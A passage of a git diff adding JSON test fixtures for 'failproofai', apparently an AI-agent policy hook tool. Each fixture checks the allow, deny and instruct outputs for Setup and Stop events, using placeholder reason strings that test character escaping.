"parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/Setup/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/Setup/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..86dbcc13 --- /dev/null +++ b/__tests__/parity/fixtures/pi/Setup/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "instruct", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/Setup/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/Setup/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..c906aafa --- /dev/null +++ b/__tests__/parity/fixtures/pi/Setup/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "instruct", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/Setup/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/Setup/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..d62b1e10 --- /dev/null +++ b/__tests__/parity/fixtures/pi/Setup/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "pi", + "decision_kind": "instruct", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/Setup/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/Setup/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..94852252 --- /dev/null +++ b/__tests__/parity/fixtures/pi/Setup/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "pi", + "decision_kind": "instruct", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/Stop/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/Stop/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..eef409f3 --- /dev/null +++ b/__tests__/parity/fixtures/pi/Stop/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/Stop/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/Stop/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..1c7d57cb --- /dev/null +++ b/__tests__/parity/fixtures/pi/Stop/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/Stop/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/Stop/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..4de1db97 --- /dev/null +++ b/__tests__/parity/fixtures/pi/Stop/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/Stop/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/Stop/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..5b8a9923 --- /dev/null +++ b/__tests__/parity/fixtures/pi/Stop/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/Stop/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/Stop/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..7b95fc1f --- /dev/null +++ b/__tests__/parity/fixtures/pi/Stop/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/Stop/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/Stop/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..1ff5412d --- /dev/null +++ b/__tests__/parity/fixtures/pi/Stop/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/Stop/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/Stop/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..c74c3dea --- /dev/null +++ b/__tests__/parity/fixtures/pi/Stop/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/Stop/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/Stop/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..30dd8ec8 --- /dev/null +++ b/__tests__/parity/fixtures/pi/Stop/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/Stop/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/Stop/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..d92a2fee --- /dev/null +++ b/__tests__/parity/fixtures/pi/Stop/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "deny", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"MANDATORY ACTION REQUIRED from failproofai (policy: parity/policy-1): parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\n\\nYou MUST complete the above action NOW. Do NOT ask the user for confirmation — execute the required action, then attempt to finish your task again.\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/Stop/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/Stop/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..9f879bfb --- /dev/null +++ b/__tests__/parity/fixtures/pi/Stop/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "deny", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"MANDATORY ACTION REQUIRED from failproofai (policy: parity/policy-1): parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\n\\nYou MUST complete the above action NOW. Do NOT ask the user for confirmation — execute the required action, then attempt to finish your task again.\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/Stop/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/Stop/deny__tool-present__one-policy.json new file mode 100644 index 00000000..e7770912 --- /dev/null +++ b/__tests__/parity/fixtures/pi/Stop/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "pi", + "decision_kind": "deny", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"MANDATORY ACTION REQUIRED from failproofai (policy: parity/policy-1): parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\n\\nYou MUST complete the above action NOW. Do NOT ask the user for confirmation — execute the required action, then attempt to finish your task again.\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/Stop/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/Stop/deny__tool-present__two-policies.json new file mode 100644 index 00000000..79a2eefc --- /dev/null +++ b/__tests__/parity/fixtures/pi/Stop/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "pi", + "decision_kind": "deny", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"MANDATORY ACTION REQUIRED from failproofai (policy: parity/policy-1): parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\n\\nYou MUST complete the above action NOW. Do NOT ask the user for confirmation — execute the required action, then attempt to finish your task again.\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/Stop/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/Stop/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..52400759 --- /dev/null +++ b/__tests__/parity/fixtures/pi/Stop/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "instruct", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"MANDATORY ACTION REQUIRED from failproofai (policy: parity/policy-1): parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\n\\nYou MUST complete the above action(s) NOW. Do NOT ask the user for confirmation — execute the required action(s), then attempt to finish your task again.\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/Stop/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/Stop/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..5d6524ac --- /dev/null +++ b/__tests__/parity/fixtures/pi/Stop/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "instruct", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"MANDATORY ACTION REQUIRED from failproofai (policies: parity/policy-1, parity/policy-2): parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\n\\nYou MUST complete the above action(s) NOW. Do NOT ask the user for confirmation — execute the required action(s), then attempt to finish your task again.\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/Stop/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/Stop/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..6807240a --- /dev/null +++ b/__tests__/parity/fixtures/pi/Stop/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "pi", + "decision_kind": "instruct", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + 